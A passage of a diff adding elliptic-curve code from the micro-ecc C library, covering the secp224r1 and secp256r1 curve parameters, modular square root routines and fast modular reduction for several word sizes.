curve); +#endif +#if (uECC_OPTIMIZATION_LEVEL > 0) +static void vli_mmod_fast_secp224r1(uECC_word_t *result, uECC_word_t *product); +#endif + +static const struct uECC_Curve_t curve_secp224r1 = { + num_words_secp224r1, + num_bytes_secp224r1, + 224, /* num_n_bits */ + { BYTES_TO_WORDS_8(01, 00, 00, 00, 00, 00, 00, 00), + BYTES_TO_WORDS_8(00, 00, 00, 00, FF, FF, FF, FF), + BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF), + BYTES_TO_WORDS_4(FF, FF, FF, FF) }, + { BYTES_TO_WORDS_8(3D, 2A, 5C, 5C, 45, 29, DD, 13), + BYTES_TO_WORDS_8(3E, F0, B8, E0, A2, 16, FF, FF), + BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF), + BYTES_TO_WORDS_4(FF, FF, FF, FF) }, + { BYTES_TO_WORDS_8(21, 1D, 5C, 11, D6, 80, 32, 34), + BYTES_TO_WORDS_8(22, 11, C2, 56, D3, C1, 03, 4A), + BYTES_TO_WORDS_8(B9, 90, 13, 32, 7F, BF, B4, 6B), + BYTES_TO_WORDS_4(BD, 0C, 0E, B7), + + BYTES_TO_WORDS_8(34, 7E, 00, 85, 99, 81, D5, 44), + BYTES_TO_WORDS_8(64, 47, 07, 5A, A0, 75, 43, CD), + BYTES_TO_WORDS_8(E6, DF, 22, 4C, FB, 23, F7, B5), + BYTES_TO_WORDS_4(88, 63, 37, BD) }, + { BYTES_TO_WORDS_8(B4, FF, 55, 23, 43, 39, 0B, 27), + BYTES_TO_WORDS_8(BA, D8, BF, D7, B7, B0, 44, 50), + BYTES_TO_WORDS_8(56, 32, 41, F5, AB, B3, 04, 0C), + BYTES_TO_WORDS_4(85, 0A, 05, B4) }, + &double_jacobian_default, +#if uECC_SUPPORT_COMPRESSED_POINT + &mod_sqrt_secp224r1, +#endif + &x_side_default, +#if (uECC_OPTIMIZATION_LEVEL > 0) + &vli_mmod_fast_secp224r1 +#endif +}; + +uECC_Curve uECC_secp224r1(void) { return &curve_secp224r1; } + + +#if uECC_SUPPORT_COMPRESSED_POINT +/* Routine 3.2.4 RS; from http://www.nsa.gov/ia/_files/nist-routines.pdf */ +static void mod_sqrt_secp224r1_rs(uECC_word_t *d1, + uECC_word_t *e1, + uECC_word_t *f1, + const uECC_word_t *d0, + const uECC_word_t *e0, + const uECC_word_t *f0) { + uECC_word_t t[num_words_secp224r1]; + + uECC_vli_modSquare_fast(t, d0, &curve_secp224r1); /* t <-- d0 ^ 2 */ + uECC_vli_modMult_fast(e1, d0, e0, &curve_secp224r1); /* e1 <-- d0 * e0 */ + uECC_vli_modAdd(d1, t, f0, curve_secp224r1.p, num_words_secp224r1); /* d1 <-- t + f0 */ + uECC_vli_modAdd(e1, e1, e1, curve_secp224r1.p, num_words_secp224r1); /* e1 <-- e1 + e1 */ + uECC_vli_modMult_fast(f1, t, f0, &curve_secp224r1); /* f1 <-- t * f0 */ + uECC_vli_modAdd(f1, f1, f1, curve_secp224r1.p, num_words_secp224r1); /* f1 <-- f1 + f1 */ + uECC_vli_modAdd(f1, f1, f1, curve_secp224r1.p, num_words_secp224r1); /* f1 <-- f1 + f1 */ +} + +/* Routine 3.2.5 RSS; from http://www.nsa.gov/ia/_files/nist-routines.pdf */ +static void mod_sqrt_secp224r1_rss(uECC_word_t *d1, + uECC_word_t *e1, + uECC_word_t *f1, + const uECC_word_t *d0, + const uECC_word_t *e0, + const uECC_word_t *f0, + const bitcount_t j) { + bitcount_t i; + + uECC_vli_set(d1, d0, num_words_secp224r1); /* d1 <-- d0 */ + uECC_vli_set(e1, e0, num_words_secp224r1); /* e1 <-- e0 */ + uECC_vli_set(f1, f0, num_words_secp224r1); /* f1 <-- f0 */ + for (i = 1; i <= j; i++) { + mod_sqrt_secp224r1_rs(d1, e1, f1, d1, e1, f1); /* RS (d1,e1,f1,d1,e1,f1) */ + } +} + +/* Routine 3.2.6 RM; from http://www.nsa.gov/ia/_files/nist-routines.pdf */ +static void mod_sqrt_secp224r1_rm(uECC_word_t *d2, + uECC_word_t *e2, + uECC_word_t *f2, + const uECC_word_t *c, + const uECC_word_t *d0, + const uECC_word_t *e0, + const uECC_word_t *d1, + const uECC_word_t *e1) { + uECC_word_t t1[num_words_secp224r1]; + uECC_word_t t2[num_words_secp224r1]; + + uECC_vli_modMult_fast(t1, e0, e1, &curve_secp224r1); /* t1 <-- e0 * e1 */ + uECC_vli_modMult_fast(t1, t1, c, &curve_secp224r1); /* t1 <-- t1 * c */ + /* t1 <-- p - t1 */ + uECC_vli_modSub(t1, curve_secp224r1.p, t1, curve_secp224r1.p, num_words_secp224r1); + uECC_vli_modMult_fast(t2, d0, d1, &curve_secp224r1); /* t2 <-- d0 * d1 */ + uECC_vli_modAdd(t2, t2, t1, curve_secp224r1.p, num_words_secp224r1); /* t2 <-- t2 + t1 */ + uECC_vli_modMult_fast(t1, d0, e1, &curve_secp224r1); /* t1 <-- d0 * e1 */ + uECC_vli_modMult_fast(e2, d1, e0, &curve_secp224r1); /* e2 <-- d1 * e0 */ + uECC_vli_modAdd(e2, e2, t1, curve_secp224r1.p, num_words_secp224r1); /* e2 <-- e2 + t1 */ + uECC_vli_modSquare_fast(f2, e2, &curve_secp224r1); /* f2 <-- e2^2 */ + uECC_vli_modMult_fast(f2, f2, c, &curve_secp224r1); /* f2 <-- f2 * c */ + /* f2 <-- p - f2 */ + uECC_vli_modSub(f2, curve_secp224r1.p, f2, curve_secp224r1.p, num_words_secp224r1); + uECC_vli_set(d2, t2, num_words_secp224r1); /* d2 <-- t2 */ +} + +/* Routine 3.2.7 RP; from http://www.nsa.gov/ia/_files/nist-routines.pdf */ +static void mod_sqrt_secp224r1_rp(uECC_word_t *d1, + uECC_word_t *e1, + uECC_word_t *f1, + const uECC_word_t *c, + const uECC_word_t *r) { + wordcount_t i; + wordcount_t pow2i = 1; + uECC_word_t d0[num_words_secp224r1]; + uECC_word_t e0[num_words_secp224r1] = {1}; /* e0 <-- 1 */ + uECC_word_t f0[num_words_secp224r1]; + + uECC_vli_set(d0, r, num_words_secp224r1); /* d0 <-- r */ + /* f0 <-- p - c */ + uECC_vli_modSub(f0, curve_secp224r1.p, c, curve_secp224r1.p, num_words_secp224r1); + for (i = 0; i <= 6; i++) { + mod_sqrt_secp224r1_rss(d1, e1, f1, d0, e0, f0, pow2i); /* RSS (d1,e1,f1,d0,e0,f0,2^i) */ + mod_sqrt_secp224r1_rm(d1, e1, f1, c, d1, e1, d0, e0); /* RM (d1,e1,f1,c,d1,e1,d0,e0) */ + uECC_vli_set(d0, d1, num_words_secp224r1); /* d0 <-- d1 */ + uECC_vli_set(e0, e1, num_words_secp224r1); /* e0 <-- e1 */ + uECC_vli_set(f0, f1, num_words_secp224r1); /* f0 <-- f1 */ + pow2i *= 2; + } +} + +/* Compute a = sqrt(a) (mod curve_p). */ +/* Routine 3.2.8 mp_mod_sqrt_224; from http://www.nsa.gov/ia/_files/nist-routines.pdf */ +static void mod_sqrt_secp224r1(uECC_word_t *a, uECC_Curve curve) { + bitcount_t i; + uECC_word_t e1[num_words_secp224r1]; + uECC_word_t f1[num_words_secp224r1]; + uECC_word_t d0[num_words_secp224r1]; + uECC_word_t e0[num_words_secp224r1]; + uECC_word_t f0[num_words_secp224r1]; + uECC_word_t d1[num_words_secp224r1]; + + /* s = a; using constant instead of random value */ + mod_sqrt_secp224r1_rp(d0, e0, f0, a, a); /* RP (d0, e0, f0, c, s) */ + mod_sqrt_secp224r1_rs(d1, e1, f1, d0, e0, f0); /* RS (d1, e1, f1, d0, e0, f0) */ + for (i = 1; i <= 95; i++) { + uECC_vli_set(d0, d1, num_words_secp224r1); /* d0 <-- d1 */ + uECC_vli_set(e0, e1, num_words_secp224r1); /* e0 <-- e1 */ + uECC_vli_set(f0, f1, num_words_secp224r1); /* f0 <-- f1 */ + mod_sqrt_secp224r1_rs(d1, e1, f1, d0, e0, f0); /* RS (d1, e1, f1, d0, e0, f0) */ + if (uECC_vli_isZero(d1, num_words_secp224r1)) { /* if d1 == 0 */ + break; + } + } + uECC_vli_modInv(f1, e0, curve_secp224r1.p, num_words_secp224r1); /* f1 <-- 1 / e0 */ + uECC_vli_modMult_fast(a, d0, f1, &curve_secp224r1); /* a <-- d0 / e0 */ +} +#endif /* uECC_SUPPORT_COMPRESSED_POINT */ + +#if (uECC_OPTIMIZATION_LEVEL > 0) +/* Computes result = product % curve_p + from http://www.nsa.gov/ia/_files/nist-routines.pdf */ +#if uECC_WORD_SIZE == 1 +static void vli_mmod_fast_secp224r1(uint8_t *result, uint8_t *product) { + uint8_t tmp[num_words_secp224r1]; + int8_t carry; + + /* t */ + uECC_vli_set(result, product, num_words_secp224r1); + + /* s1 */ + tmp[0] = tmp[1] = tmp[2] = tmp[3] = 0; + tmp[4] = tmp[5] = tmp[6] = tmp[7] = 0; + tmp[8] = tmp[9] = tmp[10] = tmp[11] = 0; + tmp[12] = product[28]; tmp[13] = product[29]; tmp[14] = product[30]; tmp[15] = product[31]; + tmp[16] = product[32]; tmp[17] = product[33]; tmp[18] = product[34]; tmp[19] = product[35]; + tmp[20] = product[36]; tmp[21] = product[37]; tmp[22] = product[38]; tmp[23] = product[39]; + tmp[24] = product[40]; tmp[25] = product[41]; tmp[26] = product[42]; tmp[27] = product[43]; + carry = uECC_vli_add(result, result, tmp, num_words_secp224r1); + + /* s2 */ + tmp[12] = product[44]; tmp[13] = product[45]; tmp[14] = product[46]; tmp[15] = product[47]; + tmp[16] = product[48]; tmp[17] = product[49]; tmp[18] = product[50]; tmp[19] = product[51]; + tmp[20] = product[52]; tmp[21] = product[53]; tmp[22] = product[54]; tmp[23] = product[55]; + tmp[24] = tmp[25] = tmp[26] = tmp[27] = 0; + carry += uECC_vli_add(result, result, tmp, num_words_secp224r1); + + /* d1 */ + tmp[0] = product[28]; tmp[1] = product[29]; tmp[2] = product[30]; tmp[3] = product[31]; + tmp[4] = product[32]; tmp[5] = product[33]; tmp[6] = product[34]; tmp[7] = product[35]; + tmp[8] = product[36]; tmp[9] = product[37]; tmp[10] = product[38]; tmp[11] = product[39]; + tmp[12] = product[40]; tmp[13] = product[41]; tmp[14] = product[42]; tmp[15] = product[43]; + tmp[16] = product[44]; tmp[17] = product[45]; tmp[18] = product[46]; tmp[19] = product[47]; + tmp[20] = product[48]; tmp[21] = product[49]; tmp[22] = product[50]; tmp[23] = product[51]; + tmp[24] = product[52]; tmp[25] = product[53]; tmp[26] = product[54]; tmp[27] = product[55]; + carry -= uECC_vli_sub(result, result, tmp, num_words_secp224r1); + + /* d2 */ + tmp[0] = product[44]; tmp[1] = product[45]; tmp[2] = product[46]; tmp[3] = product[47]; + tmp[4] = product[48]; tmp[5] = product[49]; tmp[6] = product[50]; tmp[7] = product[51]; + tmp[8] = product[52]; tmp[9] = product[53]; tmp[10] = product[54]; tmp[11] = product[55]; + tmp[12] = tmp[13] = tmp[14] = tmp[15] = 0; + tmp[16] = tmp[17] = tmp[18] = tmp[19] = 0; + tmp[20] = tmp[21] = tmp[22] = tmp[23] = 0; + tmp[24] = tmp[25] = tmp[26] = tmp[27] = 0; + carry -= uECC_vli_sub(result, result, tmp, num_words_secp224r1); + + if (carry < 0) { + do { + carry += uECC_vli_add(result, result, curve_secp224r1.p, num_words_secp224r1); + } while (carry < 0); + } else { + while (carry || uECC_vli_cmp_unsafe(curve_secp224r1.p, result, num_words_secp224r1) != 1) { + carry -= uECC_vli_sub(result, result, curve_secp224r1.p, num_words_secp224r1); + } + } +} +#elif uECC_WORD_SIZE == 4 +static void vli_mmod_fast_secp224r1(uint32_t *result, uint32_t *product) +{ + uint32_t tmp[num_words_secp224r1]; + int carry; + + /* t */ + uECC_vli_set(result, product, num_words_secp224r1); + + /* s1 */ + tmp[0] = tmp[1] = tmp[2] = 0; + tmp[3] = product[7]; + tmp[4] = product[8]; + tmp[5] = product[9]; + tmp[6] = product[10]; + carry = uECC_vli_add(result, result, tmp, num_words_secp224r1); + + /* s2 */ + tmp[3] = product[11]; + tmp[4] = product[12]; + tmp[5] = product[13]; + tmp[6] = 0; + carry += uECC_vli_add(result, result, tmp, num_words_secp224r1); + + /* d1 */ + tmp[0] = product[7]; + tmp[1] = product[8]; + tmp[2] = product[9]; + tmp[3] = product[10]; + tmp[4] = product[11]; + tmp[5] = product[12]; + tmp[6] = product[13]; + carry -= uECC_vli_sub(result, result, tmp, num_words_secp224r1); + + /* d2 */ + tmp[0] = product[11]; + tmp[1] = product[12]; + tmp[2] = product[13]; + tmp[3] = tmp[4] = tmp[5] = tmp[6] = 0; + carry -= uECC_vli_sub(result, result, tmp, num_words_secp224r1); + + if (carry < 0) { + do { + carry += uECC_vli_add(result, result, curve_secp224r1.p, num_words_secp224r1); + } while (carry < 0); + } else { + while (carry || uECC_vli_cmp_unsafe(curve_secp224r1.p, result, num_words_secp224r1) != 1) { + carry -= uECC_vli_sub(result, result, curve_secp224r1.p, num_words_secp224r1); + } + } +} +#else +static void vli_mmod_fast_secp224r1(uint64_t *result, uint64_t *product) +{ + uint64_t tmp[num_words_secp224r1]; + int carry = 0; + + /* t */ + uECC_vli_set(result, product, num_words_secp224r1); + result[num_words_secp224r1 - 1] &= 0xffffffff; + + /* s1 */ + tmp[0] = 0; + tmp[1] = product[3] & 0xffffffff00000000ull; + tmp[2] = product[4]; + tmp[3] = product[5] & 0xffffffff; + uECC_vli_add(result, result, tmp, num_words_secp224r1); + + /* s2 */ + tmp[1] = product[5] & 0xffffffff00000000ull; + tmp[2] = product[6]; + tmp[3] = 0; + uECC_vli_add(result, result, tmp, num_words_secp224r1); + + /* d1 */ + tmp[0] = (product[3] >> 32) | (product[4] << 32); + tmp[1] = (product[4] >> 32) | (product[5] << 32); + tmp[2] = (product[5] >> 32) | (product[6] << 32); + tmp[3] = product[6] >> 32; + carry -= uECC_vli_sub(result, result, tmp, num_words_secp224r1); + + /* d2 */ + tmp[0] = (product[5] >> 32) | (product[6] << 32); + tmp[1] = product[6] >> 32; + tmp[2] = tmp[3] = 0; + carry -= uECC_vli_sub(result, result, tmp, num_words_secp224r1); + + if (carry < 0) { + do { + carry += uECC_vli_add(result, result, curve_secp224r1.p, num_words_secp224r1); + } while (carry < 0); + } else { + while (uECC_vli_cmp_unsafe(curve_secp224r1.p, result, num_words_secp224r1) != 1) { + uECC_vli_sub(result, result, curve_secp224r1.p, num_words_secp224r1); + } + } +} +#endif /* uECC_WORD_SIZE */ +#endif /* (uECC_OPTIMIZATION_LEVEL > 0) */ + +#endif /* uECC_SUPPORTS_secp224r1 */ + +#if uECC_SUPPORTS_secp256r1 + +#if (uECC_OPTIMIZATION_LEVEL > 0) +static void vli_mmod_fast_secp256r1(uECC_word_t *result, uECC_word_t *product); +#endif + +static const struct uECC_Curve_t curve_secp256r1 = { + num_words_secp256r1, + num_bytes_secp256r1, + 256, /* num_n_bits */ + { BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF), + BYTES_TO_WORDS_8(FF, FF, FF, FF, 00, 00, 00, 00), + BYTES_TO_WORDS_8(00, 00, 00, 00, 00, 00, 00, 00), + BYTES_TO_WORDS_8(01, 00, 00, 00, FF, FF, FF, FF) }, + { BYTES_TO_WORDS_8(51, 25, 63, FC, C2, CA, B9, F3), + BYTES_TO_WORDS_8(84, 9E, 17, A7, AD, FA, E6, BC), + BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF), + BYTES_TO_WORDS_8(00, 00, 00, 00, FF, FF, FF, FF) }, + { BYTES_TO_WORDS_8(96, C2, 98, D8, 45, 39, A1, F4), + BYTES_TO_WORDS_8(A0, 33, EB, 2D, 81, 7D, 03, 77), + BYTES_TO_WORDS_8(F2, 40, A4, 63, E5, E6, BC, F8), + BYTES_TO_WORDS_8(47, 42, 2C, E1, F2, D1, 17, 6B), + + BYTES_TO_WORDS_8(F5, 51, BF, 37, 68, 40, B6, CB), + BYTES_TO_WORDS_8(CE, 5E, 31, 6B, 57, 33, CE, 2B), + BYTES_TO_WORDS_8(16, 9E, 0F, 7C, 4A, EB, E7, 8E), + BYTES_TO_WORDS_8(9B, 7F, 1A, FE, E2, 42, E3, 4F) }, + { BYTES_TO_WORDS_8(4B, 60, D2, 27, 3E, 3C, CE, 3B), + BYTES_TO_WORDS_8(F6, B0, 53, CC, B0, 06, 1D, 65), + BYTES_TO_WORDS_8(BC, 86, 98, 76, 55, BD, EB, B3), + BYTES_TO_WORDS_8(E7, 93, 3A, AA, D8, 35, C6, 5A) }, + &double_jacobian_default, +#if uECC_SUPPORT_COMPRESSED_POINT + &mod_sqrt_default, +#endif + &x_side_default, +#if (uECC_OPTIMIZATION_LEVEL > 0) + &vli_mmod_fast_secp256r1 +#endif +}; + +uECC_Curve uECC_secp256r1(void) { return &curve_secp256r1; } + + +#if (uECC_OPTIMIZATION_LEVEL > 0 && !asm_mmod_fast_secp256r1) +/* Computes result = product % curve_p + from http://www.nsa.gov/ia/_files/nist-routines.pdf */ +#if uECC_WORD_SIZE == 1 +static void vli_mmod_fast_secp256r1(uint8_t *result, uint8_t *product) { + uint8_t tmp[num_words_secp256r1]; + int8_t carry; + + /* t */ + uECC_vli_set(result, product, num_words_secp256r1); + + /* s1 */ + tmp[0] = tmp[1] = tmp[2] = tmp[3] = 0; + tmp[4] = tmp[5] = tmp[6] = tmp[7] = 0; + tmp[8] = tmp[9] = tmp[10] = tmp[11] = 0; + tmp[12] = product[44]; tmp[13] = product[45]; tmp[14] = product[46]; tmp[15] = product[47]; + tmp[16] = product[48]; tmp[17] = product[49]; tmp[18] = product[50]; tmp[19] = product[51]; + tmp[20] = product[52]; tmp[21] = product[53]; tmp[22] = product[54]; tmp[23] = product[55]; + tmp[24] = product[56]; tmp[25] = product[57]; tmp[26] = product[58]; tmp[27] = product[59]; + tmp[28] = product[60]; tmp[29] = product[61]; tmp[30] = product[62]; tmp[31] = product[63]; + carry = uECC_vli_add(tmp, tmp, tmp, num_words_secp256r1); + carry += uECC_vli_add(result, result, tmp, num_words_secp256r1); + + /* s2 */ + tmp[12] = product[48]; tmp[13] = product[49]; tmp[14] = product[50]; tmp[15] = product[51]; + tmp[16] = product[52]; tmp[17] = product[53]; tmp[18] = product[54]; tmp[19] = product[55]; + tmp[20] = product[56]; tmp[21] = product[57]; tmp[22] = product[58]; tmp[23] = product[59]; + tmp[24] = product[60]; tmp[25] = product[61]; tmp[26] = product[62]; tmp[27] = product[63]; + tmp[28] = tmp[29] = tmp[30] = tmp[31] = 0; + carry += uECC_vli_add(tmp, tmp, tmp, num_words_secp256r1); + carry += uECC_vli_add(result, result, tmp, num_words_secp256r1); + + /* s3 */ + tmp[0] = product[32]; tmp[1] = product[33]; tmp[2] = product[34]; tmp[3] = product[35]; + tmp[4] = product[36]; tmp[5] = product[37]; tmp[6] = product[38]; tmp[7] = product[39]; + tmp[8] = product[40]; tmp[9] = product[41]; tmp[10] = product[42]; tmp[11] = product[43]; + tmp[12] = tmp[13] = tmp[14] = tmp[15] = 0; + tmp[16] = tmp[17] = tmp[18] = tmp[19] = 0; + tmp[20] = tmp[21] = tmp[22] = tmp[23] = 0; + tmp[24] = product[56]; tmp[25] = product[57]; tmp[26] = product[58]; tmp[27] = product[59]; + tmp[28] = product[60]; tmp[29] = product[61]; tmp[30] = product[62]; tmp[31] = product[63]; + carry += uECC_vli_add(result, result, tmp, num_words_secp256r1); + + /* s4 */ + tmp[0] = product[36]; tmp[1] = product[37]; tmp[2] = product[38]; tmp[3] = product[39]; + tmp[4] = product[40]; tmp[5] = product[41]; tmp[6] = product[42]; tmp[7] = product[43]; + tmp[8] = product[44]; tmp[9] = product[45]; tmp[10] = product[46]; tmp[11] = product[47]; + tmp[12] = product[52]; tmp[13] = product[53]; tmp[14] = product[54]; tmp[15] = product[55]; + tmp[16] = product[56]; tmp[17] = product[57]; tmp[18] = product[58]; tmp[19] = product[59]; + tmp[20] = product[60]; tmp[21] = product[61]; tmp[22] = product[62]; tmp[23] = product[63]; + tmp[24] = product[52]; tmp[25] = product[53]; tmp[26] = product[54]; tmp[27] = product[55]; + tmp[28] = product[32]; tmp[29] = product[33]; tmp[30] = product[34]; tmp[31] = product[35]; + carry += uECC_vli_add(result, result, tmp, num_words_secp256r1); + + /* d1 */ + tmp[0] = product[44]; tmp[1] = product[45]; tmp[2] = product[46]; tmp[3] = product[47]; + tmp[4] = product[48]; tmp[5] = product[49]; tmp[6] = product[50]; tmp[7] = product[51]; + tmp[8] = product[52]; tmp[9] = product[53]; tmp[10] = product[54]; tmp[11] = product[55]; + tmp[12] = tmp[13] = tmp[14] = tmp[15] = 0; + tmp[16] = tmp[17] = tmp[18] = tmp[19] = 0; + tmp[20] = tmp[21] = tmp[22] = tmp[23] = 0; + tmp[24] = product[32]; tmp[25] = product[33]; tmp[26] = product[34]; tmp[27] = product[35]; + tmp[28] = product[40]; tmp[29] = product[41]; tmp[30] = product[42]; tmp[31] = product[43]; + carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1); + + /* d2 */ + tmp[0] = product[48]; tmp[1] = product[49]; tmp[2] = product[50]; tmp[3] = product[51]; + tmp[4] = product[52]; tmp[5] = product[53]; tmp[6] = product[54]; tmp[7] = product[55]; + tmp[8] = product[56]; tmp[9] = product[57]; tmp[10] = product[58]; tmp[11] = product[59]; + tmp[12] = product[60]; tmp[13] = product[61]; tmp[14] = product[62]; tmp[15] = product[63]; + tmp[16] = tmp[17] = tmp[18] = tmp[19] = 0; + tmp[20] = tmp[21] = tmp[22] = tmp[23] = 0; + tmp[24] = product[36]; tmp[25] = product[37]; tmp[26] = product[38]; tmp[27] = product[39]; + tmp[28] = product[44]; tmp[29] = product[45]; tmp[30] = product[46]; tmp[31] = product[47]; + carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1); + + /* d3 */ + tmp[0] = product[52]; tmp[1] = product[53]; tmp[2] = product[54]; tmp[3] = product[55]; + tmp[4] = product[56]; tmp[5] = product[57]; tmp[6] = product[58]; tmp[7] = product[59]; + tmp[8] = product[60]; tmp[9] = product[61]; tmp[10] = product[62]; tmp[11] = product[63]; + tmp[12] = product[32]; tmp[13] = product[33]; tmp[14] = product[34]; tmp[15] = product[35]; + tmp[16] = product[36]; tmp[17] = product[37]; tmp[18] = product[38]; tmp[19] = product[39]; + tmp[20] = product[40]; tmp[21] = product[41]; tmp[22] = product[42]; tmp[23] = product[43]; + tmp[24] = tmp[25] = tmp[26] = tmp[27] = 0; + tmp[28] = product[48]; tmp[29] = product[49]; tmp[30] = product[50]; tmp[31] = product[51]; + carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1); + + /* d4 */ + tmp[0] = product[56]; tmp[1] = product[57]; tmp[2] = product[58]; tmp[3] = product[59]; + tmp[4] = product[60]; tmp[5] = product[61]; tmp[6] = product[62]; tmp[7] = product[63]; + tmp[8] = tmp[9] = tmp[10] = tmp[11] = 0; + tmp[12] = product[36]; tmp[13] = product[37]; tmp[14] = product[38]; tmp[15] = product[39]; + tmp[16] = product[40]; tmp[17] = product[41]; tmp[18] = product[42]; tmp[19] = product[43]; + tmp[20] = product[44]; tmp[21] = product[45]; tmp[22] = product[46]; tmp[23] = product[47]; + tmp[24] = tmp[25] = tmp[26] = tmp[27] = 0; + tmp[28] = product[52]; tmp[29] = product[53]; tmp[30] = product[54]; tmp[31] = product[55]; + carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1); + + if (carry < 0) { + do { + carry += uECC_vli_add(result, result, curve_secp256r1.p, num_words_secp256r1); + } while (carry < 0); + } else { + while (carry || uECC_vli_cmp_unsafe(curve_secp256r1.p, result, num_words_secp256r1) != 1) { + carry -= uECC_vli_sub(result, result, curve_secp256r1.p, num_words_secp256r1); + } + } +} +#elif uECC_WORD_SIZE == 4 +static void vli_mmod_fast_secp256r1(uint32_t *result, uint32_t *product) { + uint32_t tmp[num_words_secp256r1]; + int carry; + + /* t */ + uECC_vli_set(result, product, num_words_secp256r1); + + /* s1 */ + tmp[0] = tmp[1] = tmp[2] = 0; + tmp[3] = product[11]; + tmp[4] = product[12]; + tmp[5] = product[13]; + tmp[6] = product[14]; + tmp[7] = product[15]; + carry = uECC_vli_add(tmp, tmp, tmp, num_words_secp256r1); + carry += uECC_vli_add(result, result, tmp, num_words_secp256r1); + + /* s2 */ + tmp[3] = product[12]; + tmp[4] = product[13]; + tmp[5] = product[14]; + tmp[6] = product[15]; + tmp[7] = 0; + carry += uECC_vli_add(tmp, tmp, tmp, num_words_secp256r1); + carry += uECC_vli_add(result, result, tmp, num_words_secp256r1); + + /* s3 */ + tmp[0] = product[8]; + tmp[1] = product[9]; + tmp[2] = product[10]; + tmp[3] = tmp[4] = tmp[5] = 0; + tmp[6] = product[14]; + tmp[7] = product[15]; + carry += uECC_vli_add(result, result, tmp, num_words_secp256r1); + + /* s4 */ + tmp[0] = product[9]; + tmp[1] = product[10]; + tmp[2] = product[11]; + tmp[3] = product[13]; + tmp[4] = product[14]; + tmp[5] = product[15]; + tmp[6] = product[13]; + tmp[7] = product[8]; + carry += uECC_vli_add(result, result, tmp, num_words_secp256r1); + + /* d1 */ + tmp[0] = product[11]; + tmp[1] = product[12]; + tmp[2] = product[13]; + tmp[3] = tmp[4] = tmp[5] = 0; + tmp[6] = product[8]; + tmp[7] = product[10]; + carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1); + + /* d2 */ + tmp[0] = product[12]; + tmp[1] = product[13]; + tmp[2] = product[14]; + tmp[3] = product[15]; + tmp[4] = tmp[5] = 0; + tmp[6] = product[9]; + tmp[7] = product[11]; + carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1); + + /* d3 */ + tmp[0] = product[13]; + tmp[1] = product[14]; + tmp[2] = product[15]; + tmp[3] = product[8]; + tmp[4] = product[9]; + tmp[5] = product[10]; + tmp[6] = 0; + tmp[7] = product[12]; + carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1); + + /* d4 */ + tmp[0] = product[14]; + tmp[1] = product[15]; + tmp[2] = 0; + tmp[3] = product[9]; + tmp[4] = product[10]; + tmp[5] = product[11]; + tmp[6] = 0; + tmp[7] = product[13]; + carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1); + + if (carry < 0) { + do { + carry += uECC_vli_add(result, result, curve_secp256r1.p, num_words_secp256r1); + } while (carry < 0); + } else { + while (carry || uECC_vli_cmp_unsafe(curve_secp256r1.p, result, num_words_secp256r1) != 1) { + carry -= uECC_vli_sub(result, result, curve_secp256r1.p, num_words_secp256r1); + } + } +} +#else +static void vli_mmod_fast_secp256r1(uint64_t *result, uint64_t *product) { + uint64_t tmp[num_words_secp256r1]; + int carry; + + /* t */ + uECC_vli_set(result, product, num_words_secp256r1); + + /* s1 */ + tmp[0] = 0; + tmp[1] = product[5] & 0xffffffff00000000ull; + tmp[2] = product[6]; + tmp[3] = product[7]; + carry = (int)uECC_vli_add(tmp, tmp, tmp, num_words_secp256r1); + carry += uECC_vli_add(result, result, tmp, num_words_secp256r1); + + /* s2 */ + tmp[1] = product[6] << 32; + tmp[2] = (product[6] >> 32) | (product[7] << 32); + tmp[3] = product[7] >> 32; + carry += uECC_vli_add(tmp, tmp, tmp, num_words_secp256r1); + carry += uECC_vli_add(result, result, tmp, num_words_secp256r1); + + /* s3 */ + tmp[0] = product[4]; + tmp[1] = product[5] & 0xffffffff; + tmp[2] = 0; + tmp[3] = product[7]; + carry += uECC_vli_add(result, result, tmp, num_words_secp256r1); + + /* s4 */ + tmp[0] = (product[4] >> 32) | (product[5] << 32); + tmp[1] = (product[5] >> 32) | (product[6] & 0xffffffff00000000ull); + tmp[2] = product[7]; + tmp[3] = (product[6] >> 32) | (product[4] << 32); + carry += uECC_vli_add(result, result, tmp, num_words_secp256r1); + + /* d1 */ + tmp[0] = (product[5] >> 32) | (product[6] << 32); + tmp[1] = (product[6] >> 32); + tmp[2] = 0; + tmp[3] = (product[4] & 0xffffffff) | (product[5] << 32); + carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1); + + /* d2 */ + tmp[0] = product[6]; + tmp[1] = product[7]; + tmp[2] = 0; + tmp[3] = (product[4] >> 32) | (product[5] & 0xffffffff00000000ull); + carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1); + + /* d3 */ + tmp[0] = (product[6] >> 32) | (product[7] << 32); + tmp[1] = (product[7] >> 32) | (product[4] << 32); + tmp[2] = (product[4] >> 32) | (product[5] << 32); + tmp[3] = (product[6] << 32); + carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1); + + /* d4 */ + tmp[0] = product[7]; + tmp[1] = product[4] & 0xffffffff00000000ull; + tmp[2] = product[5]; + tmp[3] = product[6] & 0xffffffff00000000ull; + carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1); + + if (carry < 0) { + do { + carry += uECC_vli_add(result, result, curve_secp256r1.p, num_words_secp256r1); + } while (carry < 0); + } else { + while (carry || uECC_vli_cmp_unsafe(curve_secp256r1.p, result, num_words_secp256r1) != 1) { + carry -= uECC_vli_sub(result, result, curve_secp256r1.p, num_words_secp256r1); + } + } +} +#endif /* uECC_WORD_SIZE */ +#endif /* (uECC_OPTIMIZATION_LEVEL > 0 && !asm_mmod_fast_secp256r1) */ + +#endif /* uECC_SUPPORTS_secp256r1 */ + +#if uECC_SUPPORTS_secp256k1 + +static void double_jacobian_secp256k1(uECC_word_t * X1, + uECC_word_t * Y1, + uECC_word_t * Z1, + uECC_Curve curve); +static void x_side_secp256k1(uECC_word_t *result, const uECC_word_t *x, uECC_Curve curve); +#if (uECC_OPTIMIZATION_LEVEL > 0) +static void vli_mmod_fast_secp256k1(uECC_word_t *result, uECC_word_t *product); +#endif + +static 